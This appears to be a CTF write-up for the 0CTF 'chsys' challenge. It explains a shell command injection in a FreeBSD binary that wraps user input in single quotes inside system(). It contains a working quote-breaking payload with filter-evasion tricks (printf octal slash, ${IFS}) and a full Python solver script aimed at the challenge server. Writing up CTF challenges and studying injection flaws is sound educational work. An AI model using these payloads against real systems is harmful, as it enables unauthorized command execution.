./contents.sh

z0d1ak@ctf:~$ cat sections.md
z0d1ak@ctf:~$ _
writeup.md - z0d1ak@ctf
Binary Exploitation
0CTF
December 22, 2025
4 min read

0CTF - chsys

theg1239
z0d1ak@ctf:~$ ./author.sh

# chsys

## TL;DR

The service runs a FreeBSD “base system environment manager” binary (env_manager) inside a jail. The binary builds shell commands with system() and incorrectly single-quotes a user-controlled path, allowing quote-breaking command injection. Use create with a crafted directory name under /tmp (writable) to execute cat /flag and print the flag.

Flag:

0ops{this_is_how_freebsd-update_(nearly)_brick_my_server,_I_mean,_if_y0u_Solved_i7_the_1ntenDed_w4y}

## Challenge setup

We’re given:

  • Remote: nc 124.221.39.54 10001
  • Attachment: chsys.tar.gz

After extracting, the relevant files are:

  • server.py: PoW gate and per-connection spawn
  • spawn.sh: starts a FreeBSD jail and runs /env_manager
  • env_manager: stripped FreeBSD ELF (the real target)

server.py enforces a PoW:

  • Find nonce such that SHA256(challenge || nonce) has 24 leading zero bits.

Then it hands the same socket FD into spawn.sh, which starts a jail and runs env_manager with stdin/out redirected to the socket.


## Recon: env_manager interface

Running strings on env_manager reveals a built-in command menu:

Available commands:
 create <directory_name> - Create a new environment
 list                    - List all environments
 chsys <index> <dir>     - Change environment at index to new directory
 chroot <index>          - Enter chroot environment at index
 version                 - Show FreeBSD version
 quit                    - Exit the program

It also references /flag, cp, mv, and chflags, which is a strong hint that it is copying the flag into created environments and manipulating flags/attributes.


## Bug: shell command injection via single-quoted system()

From strings, we see env_manager uses commands like:

  • chflags -R noschg '%s'
  • /bin/cp / /bin/mv

The vulnerable pattern is:

  • User input is inserted into a shell command and wrapped in single quotes.
  • If the input contains a single quote ', it can break out of quoting.

Example (conceptual):

sh
chflags -R noschg '<USER_INPUT>'

If <USER_INPUT> is:

text
/tmp/pwn'; cat /flag; #

the shell parses:

sh
chflags -R noschg '/tmp/pwn' cat /flag #'

So cat /flag executes.

### Why /tmp?

The jail mounts the template root read-only, and only /tmp is a tmpfs. Trying to create an environment in / fails with “Read-only file system”.


## Exploit details

### Payload

We inject through the create <directory_name> argument.

Working payload (as sent to the service):

text
create /tmp/pwn';cat<$(printf${IFS}'\057')flag;#

Notes:

  • The directory name begins with /tmp/... so the program can actually create it.
  • The injected command prints the flag.
  • $(printf${IFS}'\057') expands to / without writing a literal slash in the filename. This avoids edge cases where some tooling might treat /flag as a path token too early. (It’s also a common trick to bypass simplistic filters.)
  • cat<... avoids needing a literal space.

### Result

The service prints the flag to our socket during the injected execution.


## PoW solution

Difficulty is 24 leading zero bits, which is equivalent to checking:

python
sha256(challenge + nonce).digest()[:3] == b"\x00\x00\x00"

This can be brute-forced quickly.


## Solver script

A complete solver is included below.

It will:

  1. Connect to the service
  2. Parse the PoW challenge
  3. Brute-force a nonce
  4. Send the injection payload via create
  5. Print the resulting output and extract a flag-like token

## Takeaways

  • Avoid system() for filesystem operations; use native syscalls (copy_file_range, execve without shell, or library APIs).
  • If you must invoke external commands, do not build a shell string. Use execve with argv or a safe process-spawn API.
  • Single-quoting user input is not sanitization.
solve.sh - z0d1ak@ctf
#!/usr/bin/env python3
import hashlib
import multiprocessing as mp
import os
import re
import socket
import sys
import time

HOST = os.environ.get("HOST", "124.221.39.54")
PORT = int(os.environ.get("PORT", "10001"))
DIFFICULTY_BITS = 24


def recv_until(sock: socket.socket, token: bytes, timeout: float = 20.0) -> bytes:
    sock.settimeout(timeout)
    data = b""
    while token not in data:
        chunk = sock.recv(4096)
        if not chunk:
            break
        data += chunk
    return data


def recv_idle(sock: socket.socket, idle_timeout: float = 0.6, max_total: float = 30.0) -> bytes:
    sock.settimeout(idle_timeout)
    data = b""
    start = time.time()
    while time.time() - start < max_total:
        try:
            chunk = sock.recv(4096)
            if not chunk:
                break
            data += chunk
        except TimeoutError:
            break
        except OSError:
            break
    return data


def pow_worker(chal: bytes, start: int, step: int, stop: "mp.Event", q: "mp.Queue") -> None:
    msg = bytearray(chal) + b"\x00" * 8
    mv = memoryview(msg)
    i = start
    while not stop.is_set():
        mv[16:24] = (i & ((1 << 64) - 1)).to_bytes(8, "little")
        h = hashlib.sha256(mv).digest()
        if h[0] == 0 and h[1] == 0 and h[2] == 0:
            try:
                q.put(bytes(mv[16:24]), block=False)
            except Exception:
                pass
            stop.set()
            return
        i += step


def solve_pow(chal: bytes, workers: int | None = None) -> bytes:
    workers = workers or min(8, max(2, (os.cpu_count() or 2)))
    ctx = mp.get_context("spawn")
    stop = ctx.Event()
    q: mp.Queue[bytes] = ctx.Queue()
    procs: list[mp.Process] = []
    for k in range(workers):
        p = ctx.Process(target=pow_worker, args=(chal, k, workers, stop, q))
        p.daemon = True
        p.start()
        procs.append(p)

    nonce = q.get()  # blocks until found
    stop.set()
    for p in procs:
        p.kill()
    for p in procs:
        p.join(timeout=0.2)
    return nonce


def main() -> int:
    print(f"[+] connecting to {HOST}:{PORT}")
    with socket.create_connection((HOST, PORT), timeout=10) as s:
        f = s.makefile("rwb", buffering=0)

        banner = recv_until(s, b"nonce (hex): ", timeout=20)
        print(banner.decode(errors="replace"), end="")
        m = re.search(rb"challenge \(hex\): ([0-9a-fA-F]+)", banner)
        if not m:
            print("[-] failed to parse PoW challenge")
            return 2
        chal = bytes.fromhex(m.group(1).decode())

        print("[+] solving PoW...")
        t0 = time.time()
        nonce = solve_pow(chal)
        print(f"[+] PoW solved in {time.time() - t0:.2f}s nonce={nonce.hex()}")
        f.write(nonce.hex().encode() + b"\n")

        menu = recv_until(s, b"Enter command:", timeout=20)
        print(menu.decode(errors="replace"), end="")

        # Shell injection via system("... '%s' ...") using a dir name under /tmp (writable)
        # Avoid literal '/flag' in the filename by generating '/' with printf '\057'.
        payload = "create /tmp/pwn';cat<$(printf${IFS}'\\057')flag;#\n"
        print(f"[+] sending payload: {payload.strip()}")
        f.write(payload.encode())

        # create may take a while; read until the service prompts again
        out = recv_until(s, b"Enter command:", timeout=80)
        text = out.decode(errors="replace")
        print(text, end="")

        # Try to extract a flag-like token
        mm = re.search(r"[A-Za-z0-9_]{0,10}\{[^\n\r]{8,}\}", text)
        if mm:
            print(f"\n[+] possible flag: {mm.group(0)}")
        else:
            print("\n[-] no obvious flag pattern found in output")
        return 0


if __name__ == "__main__":
    raise SystemExit(main())

Comments(0)

No comments yet. Be the first to share your thoughts!